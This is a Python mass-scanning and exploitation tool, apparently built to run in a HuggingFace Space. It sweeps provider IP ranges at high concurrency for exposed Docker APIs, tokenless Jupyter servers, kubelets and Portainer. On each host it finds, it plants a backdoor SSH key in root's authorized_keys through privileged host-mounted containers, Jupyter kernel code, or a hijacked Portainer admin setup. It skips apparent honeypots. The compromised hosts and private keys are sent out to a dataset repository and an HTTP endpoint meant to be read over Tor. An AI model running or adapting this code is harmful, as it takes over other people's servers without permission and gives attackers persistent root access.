#!/usr/bin/env python3
"""HF Box Scanner -- finds open control planes across provider ranges and takes the box.

Runs inside a HuggingFace Docker Space (or anywhere with python + egress).
Streams (ip,port) pairs from cidrs.txt, TCP-connects at high concurrency,
classifies what answers (docker API / jupyter / kubelet / k8s api / portainer),
then exploits: writes an ephemeral SSH pubkey into host root and proves it by
reading it back through a second container. Every hit is journaled and served
over HTTP (/hits) so FlokiNET can pull results over Tor.
"""
import os, sys, json, time, socket, ssl, base64, random, string, threading
import traceback, collections, ipaddress
import asyncio
from concurrent.futures import ThreadPoolExecutor
import http.server, socketserver, urllib.parse

APPDIR = os.path.dirname(os.path.abspath(__file__))

CFG = {
    'shard_n': int(os.environ.get('SHARD_N', '0')),
    'shard_m': max(1, int(os.environ.get('SHARD_M', '1'))),
    'ports': [int(x) for x in os.environ.get('PORTS',
              '2375,8888,10250').split(',') if x.strip()],
    'tls_ports': {int(x) for x in os.environ.get('TLS_PORTS', '2376,9443').split(',') if x.strip()},
    'concurrency': int(os.environ.get('CONCURRENCY', '1100')),
    'connect_timeout': float(os.environ.get('CONNECT_TIMEOUT', '2.0')),
    'limit_addrs': int(os.environ.get('LIMIT_ADDRS', '0')),
    'max_seconds': int(os.environ.get('MAX_SECONDS', '0')),
    'status_key': os.environ.get('STATUS_KEY', 'k'),
    'exploit': int(os.environ.get('EXPLOIT', '1')),
    'log_repo': os.environ.get('LOG_REPO', ''),      # dataset repo to push journals into
    'log_token': os.environ.get('LOG_TOKEN', ''),    # account token for that dataset
    'push_every': int(os.environ.get('PUSH_EVERY', '120')),
}
try:
    _c = json.load(open(os.path.join(APPDIR, 'cfg.json')))
    CFG.update({k: v for k, v in _c.items() if k in CFG})
    if not CFG.get('log_token') and _c.get('log_tok_b64'):
        CFG['log_token'] = base64.b64decode(_c['log_tok_b64']).decode()
except Exception:
    pass

LOCK = threading.Lock()
STATS = collections.Counter()
OPEN_PORT = collections.Counter()
CLASSED = collections.Counter()
TAKEN = []
SEEN_BOX = set()
IDX_FILE = '/app/progress.json'
START = time.time()


def bump(k, n=1):
    with LOCK:
        STATS[k] += n


# ---------------------------------------------------------------- ssh key
def gen_key():
    from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
    from cryptography.hazmat.primitives import serialization
    k = Ed25519PrivateKey.generate()
    pub = k.public_key().public_bytes(serialization.Encoding.OpenSSH,
                                      serialization.PublicFormat.OpenSSH).decode()
    priv = k.private_bytes(serialization.Encoding.PEM,
                           serialization.PrivateFormat.PKCS8,
                           serialization.NoEncryption()).decode()
    return priv, pub + ' svc@node'


PRIVKEY, PUBKEY = gen_key()

BOOT_CMD = (
    "mkdir -p /host/root/.ssh && "
    "grep -qF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null || "
    "printf '%s\\n' \"%s\" >> /host/root/.ssh/authorized_keys; "
    "{ id; hostname; nproc; grep MemTotal /proc/meminfo; uname -sr; } > /host/root/.st_info 2>&1; "
    "echo ok > /host/root/.st_proof; sync"
) % ('svc@node', PUBKEY)

READBACK_CMD = ("cat /host/root/.st_info 2>/dev/null; echo ---KEYS---; "
                "grep -cF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null")


# ---------------------------------------------------------------- blocking http
def http_talk(host, port, payload, tls=False, tmo=6, maxread=131072):
    s = socket.create_connection((host, port), timeout=tmo)
    s.settimeout(tmo)
    if tls:
        ctx = ssl._create_unverified_context()
        s = ctx.wrap_socket(s, server_hostname=None)
    s.sendall(payload)
    data = b''
    while True:
        try:
            ch = s.recv(65536)
        except Exception:
            break
        if not ch:
            break
        data += ch
        if len(data) > maxread:
            break
    try:
        s.close()
    except Exception:
        pass
    head, _, body = data.partition(b'\r\n\r\n')
    code = 0
    try:
        code = int(head.split(b'\r\n')[0].split()[1])
    except Exception:
        pass
    return code, head, body


def http_json(host, port, method, path, obj=None, raw=None, tls=False, tmo=6, extra=''):
    host_hdr = '%s:%d' % (host, port)
    req = '%s %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nUser-Agent: Mozilla/5.0\r\n%s' % (
        method, path, host_hdr, extra)
    body = None
    if obj is not None:
        body = json.dumps(obj).encode()
    elif raw is not None:
        body = raw if isinstance(raw, bytes) else raw.encode()
    if body is not None:
        req += 'Content-Type: application/json\r\nContent-Length: %d\r\n\r\n' % len(body)
        payload = req.encode() + body
    else:
        req += '\r\n'
        payload = req.encode()
    return http_talk(host, port, payload, tls=tls, tmo=tmo)


# ---------------------------------------------------------------- docker
def docker_real(ip, port, tls, rec):
    """Distinguish a genuine dockerd from a mock/honeypot facade.
    Real dockerd: /containers/json returns a JSON ARRAY and /info carries fields.
    Mock facades seen in the wild answer {} and hand back 6-hex 'container ids'."""
    c1, _, b1 = http_json(ip, port, 'GET', '/containers/json?all=1', tls=tls, tmo=8)
    rec['cj'] = c1
    arr_ok = b1.strip().startswith(b'[')
    c2, _, b2 = http_json(ip, port, 'GET', '/info', tls=tls, tmo=8)
    info_ok = False
    try:
        j = json.loads(b2.decode(errors='replace'))
        info_ok = isinstance(j, dict) and ('MemTotal' in j or 'NCPU' in j or 'ServerVersion' in j)
        if info_ok:
            rec['facts'] = {'ncpu': j.get('NCPU'),
                            'mem_gb': round((j.get('MemTotal') or 0) / 1073741824.0, 1),
                            'os': j.get('OperatingSystem'), 'kernel': j.get('KernelVersion'),
                            'containers': j.get('Containers')}
    except Exception:
        pass
    rec['real'] = bool(arr_ok and info_ok)
    return rec['real']


def _exec_run(ip, port, tls, cid, cmd, tmo=25):
    c, _, b = http_json(ip, port, 'POST', '/containers/%s/exec' % cid,
                        obj={"AttachStdout": True, "AttachStderr": True, "Tty": True,
                             "Cmd": ["sh", "-c", cmd]}, tls=tls, tmo=tmo)
    if c not in (200, 201):
        return '', c
    try:
        eid = json.loads(b.decode(errors='replace')).get('Id', '')
    except Exception:
        eid = ''
    if not eid or len(eid) < 16:
        return '', c
    c2, _, b2 = http_json(ip, port, 'POST', '/exec/%s/start' % eid,
                          obj={"Detach": False, "Tty": True}, tls=tls, tmo=tmo)
    return b2[:4000].decode(errors='replace'), c2


def docker_take(ip, port, tls, rec):
    tag = 'svc-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
    cb = {"Image": "alpine", "Cmd": ["sh", "-c", "sleep 3600"],
          "HostConfig": {"Binds": ["/:/host"], "Privileged": True}}
    cid = ''
    for attempt in range(3):
        c2, h2, b2 = http_json(ip, port, 'POST', '/containers/create?name=%s' % tag,
                               obj=cb, tls=tls, tmo=20)
        rec['create'] = c2
        if c2 in (201, 200):
            try:
                cid = json.loads(b2.decode(errors='replace')).get('Id', '')
            except Exception:
                pass
            if cid and len(cid) < 24:      # mock facades hand out short ids
                rec['mock_id'] = cid
                cid = ''
                break
        elif c2 == 404 or b'No such image' in b2 or b'pull access denied' in b2:
            http_json(ip, port, 'POST', '/images/create?fromImage=alpine&tag=latest',
                      tls=tls, tmo=90)
            continue
        if cid:
            break
    if not cid:
        return False
    c3, _, _ = http_json(ip, port, 'POST', '/containers/%s/start' % cid, tls=tls, tmo=30)
    rec['start'] = c3
    running = False
    for i in range(12):
        time.sleep(2.5)
        c4, _, b4 = http_json(ip, port, 'GET', '/containers/%s/json' % cid, tls=tls, tmo=10)
        try:
            st = json.loads(b4.decode(errors='replace')).get('State', {}).get('Status')
        except Exception:
            st = None
        if st == 'running':
            running = True
            break
        if st in ('exited', 'dead'):
            break
    rec['running'] = running
    out, cc = _exec_run(ip, port, tls, cid, BOOT_CMD)
    rec['boot_out'] = out.strip()[:200]
    rb, _ = _exec_run(ip, port, tls, cid, READBACK_CMD)
    rec['proof'] = rb.strip()[:800]
    rec['ok'] = ('uid=' in rb or 'MemTotal' in rb)
    return bool(rec['ok'])


# ---------------------------------------------------------------- jupyter
JUPYTER_CODE = (
    "import os,subprocess\n"
    "k=\"%s\"\n"
    "for d in ['/root','/home/'+ (os.environ.get('USER') or 'jovyan'),os.path.expanduser('~')]:\n"
    "    try:\n"
    "        os.makedirs(d+'/.ssh',exist_ok=True)\n"
    "        p=d+'/.ssh/authorized_keys'\n"
    "        cur=open(p).read() if os.path.exists(p) else ''\n"
    "        if 'svc@node' not in cur: open(p,'a').write(k+'\\n')\n"
    "    except Exception: pass\n"
    "o=subprocess.getoutput('id; hostname; nproc; free -m | head -2; uname -sr')\n"
    "open('/tmp/.st_info','w').write(o)\n"
    "print(o)\n"
) % PUBKEY


def jupyter_exec(ip, port, tls, kernel_id, session_id):
    """execute JUPYTER_CODE via websocket; returns output text."""
    import websockets  # noqa
    import asyncio as aio

    async def go():
        scheme = 'wss' if tls else 'ws'
        url = '%s://%s:%d/api/kernels/%s/channels?session_id=%s' % (scheme, ip, port, kernel_id, session_id)
        out = []
        sslctx = None
        if tls:
            import ssl as _ssl
            sslctx = _ssl._create_unverified_context()
        async with websockets.connect(url, subprotocols=['v1.kernel.websocket.jupyter.org'],
                                      open_timeout=12, close_timeout=4,
                                      ssl=sslctx, max_size=2 ** 22) as ws:
            msg_id = 'msg-%s' % random.randint(10 ** 9, 10 ** 11)
            await ws.send(json.dumps({
                "header": {"msg_id": msg_id, "username": "u", "session": session_id,
                           "msg_type": "execute_request", "version": "5.3"},
                "parent_header": {}, "metadata": {}, "channel": "shell",
                "content": {"code": JUPYTER_CODE, "silent": False,
                            "store_history": False, "user_expressions": {},
                            "allow_stdin": False}}))
            deadline = time.time() + 30
            while time.time() < deadline:
                try:
                    raw = await aio.wait_for(ws.recv(), timeout=10)
                except Exception:
                    break
                try:
                    m = json.loads(raw)
                except Exception:
                    continue
                mt = m.get('header', {}).get('msg_type', '')
                c = m.get('content', {}) or {}
                if mt == 'stream':
                    out.append(c.get('text', ''))
                elif mt in ('execute_result', 'display_data'):
                    out.append(str((c.get('data') or {}).get('text/plain', '')))
                elif mt == 'error':
                    out.append('\n'.join(c.get('traceback', []) or [])[:400])
                elif mt == 'status' and c.get('execution_state') == 'idle':
                    break
        return ''.join(out)

    try:
        return aio.run(go())
    except Exception as e:
        return 'WSERR:%s' % type(e).__name__


def jupyter_take(ip, port, tls, rec):
    sid = ''
    kid = ''
    c1, _, b1 = http_json(ip, port, 'POST', '/api/sessions',
                          obj={"path": "", "type": "notebook",
                               "name": "scan-" + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)) + ".ipynb",
                               "kernel": {"name": "python3"}},
                          tls=tls, tmo=25)
    rec['session'] = c1
    if c1 in (200, 201):
        try:
            j = json.loads(b1.decode(errors='replace'))
            sid = j.get('id', '')
            kid = (j.get('kernel') or {}).get('id', '')
        except Exception:
            pass
    if not kid:
        c2, _, b2 = http_json(ip, port, 'POST', '/api/kernels', obj={"name": "python3"}, tls=tls, tmo=25)
        rec['kernel'] = c2
        if c2 in (200, 201):
            try:
                kid = json.loads(b2.decode(errors='replace')).get('id', '')
            except Exception:
                pass
    if not kid:
        return False
    out = jupyter_exec(ip, port, tls, kid, sid or str(random.randint(1, 999999)))
    rec['proof'] = out.strip()[:600]
    rec['ok'] = ('uid=' in out or 'MemTotal' in out or 'Mem:' in out)
    return bool(rec.get('ok'))


# ---------------------------------------------------------------- portainer
def portainer_take(ip, port, tls, rec):
    pw = 'Aa123456!!aa'
    user = 'svcrepo'
    jwt = ''
    c0, _, b0 = http_json(ip, port, 'POST', '/api/users/admin/init',
                          obj={"Username": user, "Password": pw}, tls=tls, tmo=15)
    rec['init'] = c0
    if c0 in (200, 201):
        pass
    for path, obj in (('/api/auth', {"Username": user, "Password": pw}),
                      ('/api/auth', {"Username": 'admin', "Password": 'admin'})):
        c1, _, b1 = http_json(ip, port, 'POST', path, obj=obj, tls=tls, tmo=15)
        if c1 in (200, 201):
            try:
                jwt = json.loads(b1.decode(errors='replace')).get('jwt', '')
            except Exception:
                pass
            if jwt:
                rec['auth'] = 'login'
                break
    auth = 'Bearer ' + jwt if jwt else 'Basic ' + base64.b64encode(('%s:%s' % (user, pw)).encode()).decode()
    if not jwt:
        rec['auth'] = 'basic-try'
    eid = None
    c2, _, b2 = http_json(ip, port, 'GET', '/api/endpoints', tls=tls, tmo=15,
                          extra='Authorization: %s\r\n' % auth)
    try:
        arr = json.loads(b2.decode(errors='replace'))
        if isinstance(arr, list) and arr:
            eid = arr[0].get('Id')
    except Exception:
        pass
    if eid is None:
        c3, _, b3 = http_json(ip, port, 'POST', '/api/endpoints',
                              obj={"Name": "local", "EndpointCreationType": 1,
                                   "URL": "unix:///var/run/docker.sock",
                                   "TLSConfig": {}, "PublicURL": "/"},
                              tls=tls, tmo=20, extra='Authorization: %s\r\n' % auth)
        try:
            eid = json.loads(b3.decode(errors='replace')).get('Id')
        except Exception:
            eid = None
    rec['endpoint'] = bool(eid)
    if not eid:
        return False
    tag = 'svcp-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
    cb = {"Image": "alpine", "Cmd": ["sh", "-c", BOOT_CMD],
          "HostConfig": {"Binds": ["/:/host"], "Privileged": True}}
    c4, _, b4 = http_json(ip, port, 'POST',
                          '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag),
                          obj=cb, tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth)
    cid = ''
    if c4 in (200, 201):
        try:
            cid = json.loads(b4.decode(errors='replace')).get('Id', '')
        except Exception:
            pass
    if not cid:
        rec['p_create'] = c4
        return False
    http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid),
              tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth)
    time.sleep(2.5)
    tag2 = tag + '-v'
    c5, _, b5 = http_json(ip, port, 'POST',
                          '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag2),
                          obj={"Image": "alpine", "Cmd": ["sh", "-c", READBACK_CMD],
                               "HostConfig": {"Binds": ["/:/host"]}},
                          tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth)
    proof = ''
    if c5 in (200, 201):
        try:
            cid2 = json.loads(b5.decode(errors='replace')).get('Id', '')
        except Exception:
            cid2 = ''
        if cid2:
            http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid2),
                      tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth)
            time.sleep(2.5)
            _, _, b6 = http_json(ip, port, 'GET',
                                 '/api/endpoints/%s/docker/containers/%s/logs?stdout=1&stderr=1' % (eid, cid2),
                                 tls=tls, tmo=15, extra='Authorization: %s\r\n' % auth)
            proof = b6[:1200].decode(errors='replace')
    rec['proof'] = proof.strip()[:600]
    rec['ok'] = ('uid=' in proof or 'MemTotal' in proof)
    return bool(rec.get('ok'))


# ---------------------------------------------------------------- classify
def classify(ip, port, tls):
    rec = {'ip': ip, 'port': port, 'tls': tls, 'ts': int(time.time())}
    try:
        if port in (2375, 2376, 4243):
            code, head, body = http_json(ip, port, 'GET', '/version', tls=tls, tmo=7)
            if code == 200 and b'ApiVersion' in body:
                try:
                    j = json.loads(body.decode(errors='replace'))
                except Exception:
                    j = {}
                rec.update({'kind': 'docker', 'api': j.get('ApiVersion'),
                            'ver': j.get('Version'), 'os': j.get('Os')})
                try:
                    docker_real(ip, port, tls, rec)
                    if not rec.get('real'):
                        rec['kind'] = 'docker-mock'
                except Exception:
                    rec['real'] = None
            else:
                rec.update({'kind': 'docker?', 'code': code})
        elif port in (8888, 8889):
            code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7)
            if code == 200 and b'started' in body:
                code2, _, _ = http_json(ip, port, 'GET', '/api/kernelspecs', tls=tls, tmo=7)
                rec.update({'kind': 'jupyter', 'tokenless': code2 == 200, 'ks': code2})
            else:
                rec.update({'kind': 'http?', 'code': code})
        elif port == 10250:
            code, head, body = http_json(ip, port, 'GET', '/pods', tls=True, tmo=7)
            if code == 403:
                code, head, body = http_json(ip, port, 'GET', '/pods', tls=False, tmo=7)
            rec.update({'kind': 'kubelet', 'code': code, 'anon': code == 200})
            if code == 200:
                try:
                    j = json.loads(body.decode(errors='replace'))
                    items = j.get('items', [])
                    rec['pods'] = len(items)
                    rec['sample'] = [p.get('metadata', {}).get('name') for p in items[:5]]
                except Exception:
                    pass
        elif port == 6443:
            code, head, body = http_json(ip, port, 'GET', '/version', tls=True, tmo=7)
            if code in (200, 401, 403):
                rec.update({'kind': 'k8s-api', 'code': code})
                if code == 200:
                    try:
                        rec['gitVersion'] = json.loads(body.decode(errors='replace')).get('gitVersion')
                    except Exception:
                        pass
                    c2, _, _ = http_json(ip, port, 'GET', '/api/v1/namespaces', tls=True, tmo=7)
                    rec['ns'] = c2
            else:
                rec.update({'kind': 'http?', 'code': code})
        elif port in (9000, 9443):
            code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7)
            rec.update({'kind': 'portainer', 'code': code})
            if code == 200:
                try:
                    rec['ver'] = json.loads(body.decode(errors='replace')).get('Version')
                except Exception:
                    pass
        else:
            rec.update({'kind': 'open', 'code': 0})
    except Exception as e:
        rec.update({'err': type(e).__name__})
    return rec


def process_open(ip, port, tls):
    global TAKEN
    bump('opened')
    OPEN_PORT['%d%s' % (port, 's' if tls else '')] += 1
    rec = classify(ip, port, tls)
    kind = rec.get('kind', '?')
    CLASSED[kind] += 1
    takeable = ((kind == 'docker' and rec.get('real'))
                or (kind == 'portainer' and rec.get('code') == 200)
                or (kind == 'jupyter' and rec.get('tokenless')))
    if not takeable or not CFG['exploit']:
        if kind not in ('open',):
            bump('classified')
        return
    with LOCK:
        if ip in SEEN_BOX:
            return
        SEEN_BOX.add(ip)
    try:
        if kind == 'docker':
            ok = docker_take(ip, port, tls, rec)
        elif kind == 'portainer':
            ok = portainer_take(ip, port, tls, rec)
        else:
            ok = jupyter_take(ip, port, tls, rec)
        rec['taken'] = bool(ok)
        if ok:
            rec['privkey'] = PRIVKEY
            rec['pubkey'] = PUBKEY
            with LOCK:
                TAKEN.append(rec)
                bump('taken')
                try:
                    open('/app/taken.jsonl', 'a').write(json.dumps(rec) + '\n')
                except Exception:
                    pass
            print('[TAKEN] %s:%d %s %s' % (ip, port, kind, str(rec.get('proof'))[:80]), flush=True)
        else:
            bump('take_fail')
            with LOCK:
                TAKEN.append(rec)
    except Exception as e:
        rec['ex_err'] = type(e).__name__
        bump('take_err')


# ---------------------------------------------------------------- scan driver
POOL = ThreadPoolExecutor(max_workers=48, thread_name_prefix='cls')


def iter_pairs():
    idx = 0
    limit = CFG['limit_addrs']
    n = 0
    for line in open(os.path.join(APPDIR, 'cidrs.txt')):
        line = line.strip()
        if not line or line.startswith('#'):
            continue
        try:
            net = ipaddress.ip_network(line, strict=False)
        except Exception:
            continue
        for ip in net:
            if limit and n >= limit:
                return
            n += 1
            sip = str(ip)
            for port in CFG['ports']:
                if idx % CFG['shard_m'] == CFG['shard_n']:
                    yield sip, port
                idx += 1


async def probe(q, sem):
    while True:
        item = await q.get()
        if item is None:
            q.task_done()
            return
        ip, port = item
        tls = port in CFG['tls_ports']
        try:
            r, w = await asyncio.wait_for(asyncio.open_connection(ip, port),
                                          timeout=CFG['connect_timeout'])
            try:
                w.close()
                try:
                    await w.wait_closed()
                except Exception:
                    pass
            except Exception:
                pass
            bump('scanned')
            POOL.submit(process_open, ip, port, tls)
        except Exception:
            bump('scanned')
        finally:
            q.task_done()


async def run_scan():
    q = asyncio.Queue(maxsize=CFG['concurrency'] * 4)
    sem = None
    workers = [asyncio.create_task(probe(q, sem)) for _ in range(CFG['concurrency'])]
    last = time.time()
    last_scanned = 0
    produced = 0

    async def producer():
        nonlocal produced
        for pair in iter_pairs():
            await q.put(pair)
            produced += 1
            if CFG['max_seconds'] and time.time() - START > CFG['max_seconds']:
                break
        for _ in workers:
            await q.put(None)

    ptask = asyncio.create_task(producer())
    while True:
        await asyncio_sleep(2)
        now = time.time()
        if now - last >= 30:
            sc = STATS['scanned']
            rate = (sc - last_scanned) / (now - last)
            last, last_scanned = now, sc
            print(json.dumps({'t': int(now - START), 'queued': produced, 'scanned': sc,
                              'rate': round(rate, 1), 'opened': STATS['opened'],
                              'taken': STATS['taken'], 'classes': dict(CLASSED)}), flush=True)
            try:
                json.dump({'idx': produced}, open(IDX_FILE, 'w'))
            except Exception:
                pass
        if ptask.done() and q.empty():
            break
        if CFG['max_seconds'] and now - START > CFG['max_seconds']:
            break
    for wt in workers:
        wt.cancel()
    print('[scan done] scanned=%d opened=%d taken=%d' % (STATS['scanned'], STATS['opened'], STATS['taken']),
          flush=True)


async def asyncio_sleep(s):
    await asyncio.sleep(s)


# ---------------------------------------------------------------- journal push
def push_journal(force=False):
    """Commit status.json + hits.ndjson into our own dataset repo.
    Reliable channel: huggingface.co API works from anywhere; *.hf.space is flaky."""
    repo = CFG.get('log_repo')
    tok = CFG.get('log_token')
    if not repo or not tok:
        return
    import urllib.request
    status = {
        'shard': [CFG['shard_n'], CFG['shard_m']], 'ports': CFG['ports'],
        'uptime': int(time.time() - START), 'stats': dict(STATS),
        'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED),
        'taken': sum(1 for r in TAKEN if r.get('taken')), 'pubkey': PUBKEY,
        'ts': int(time.time()),
    }
    lines = [json.dumps({"key": "header", "value": {"summary": "sync", "description": ""}})]
    for path, data in (('status.json', json.dumps(status)),
                       ('hits.ndjson', '\n'.join(json.dumps(r) for r in TAKEN) + ('\n' if TAKEN else ''))):
        b = data.encode()
        lines.append(json.dumps({"key": "file", "value": {"path": path, "encoding": "base64",
                                                          "content": base64.b64encode(b).decode()}}))
    body = ('\n'.join(lines) + '\n').encode()
    url = 'https://huggingface.co/api/datasets/%s/commit/main' % repo
    req = urllib.request.Request(url, data=body, method='POST')
    req.add_header('Authorization', 'Bearer ' + tok)
    req.add_header('Content-Type', 'application/x-ndjson')
    try:
        with urllib.request.urlopen(req, timeout=60) as resp:
            resp.read()
    except Exception as e:
        print('[push] fail %s' % type(e).__name__, flush=True)


def push_loop():
    while True:
        time.sleep(CFG.get('push_every', 120))
        try:
            push_journal()
        except Exception:
            pass


# ---------------------------------------------------------------- http server
class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, *a):
        pass

    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        qs = urllib.parse.parse_qs(u.query)
        if qs.get('k', [''])[0] != CFG['status_key'] and CFG['status_key'] not in ('', 'k'):
            self.send_response(403); self.end_headers(); self.wfile.write(b'nope'); return
        if u.path == '/hits':
            body = '\n'.join(json.dumps(r) for r in TAKEN) + '\n'
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-ndjson')
            self.send_header('Content-Length', str(len(body)))
            self.end_headers(); self.wfile.write(body.encode()); return
        st = {'uptime': int(time.time() - START), 'stats': dict(STATS),
              'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED),
              'taken': sum(1 for r in TAKEN if r.get('taken')), 'shard': [CFG['shard_n'], CFG['shard_m']],
              'ports': CFG['ports'], 'pubkey': PUBKEY}
        body = json.dumps(st, indent=1)
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers(); self.wfile.write(body.encode())


def serve():
    srv = socketserver.ThreadingTCPServer(('0.0.0.0', 7860), H)
    srv.daemon_threads = True
    srv.serve_forever()


if __name__ == '__main__':
    print('[boot] shard %d/%d ports=%s conc=%d pub=%s' % (
        CFG['shard_n'], CFG['shard_m'], CFG['ports'], CFG['concurrency'], PUBKEY[:40]), flush=True)
    threading.Thread(target=serve, daemon=True).start()
    if CFG.get('log_repo'):
        threading.Thread(target=push_loop, daemon=True).start()
        try:
            push_journal()
        except Exception:
            pass
    try:
        asyncio.run(run_scan())
    except KeyboardInterrupt:
        pass
    while True:
        time.sleep(3600)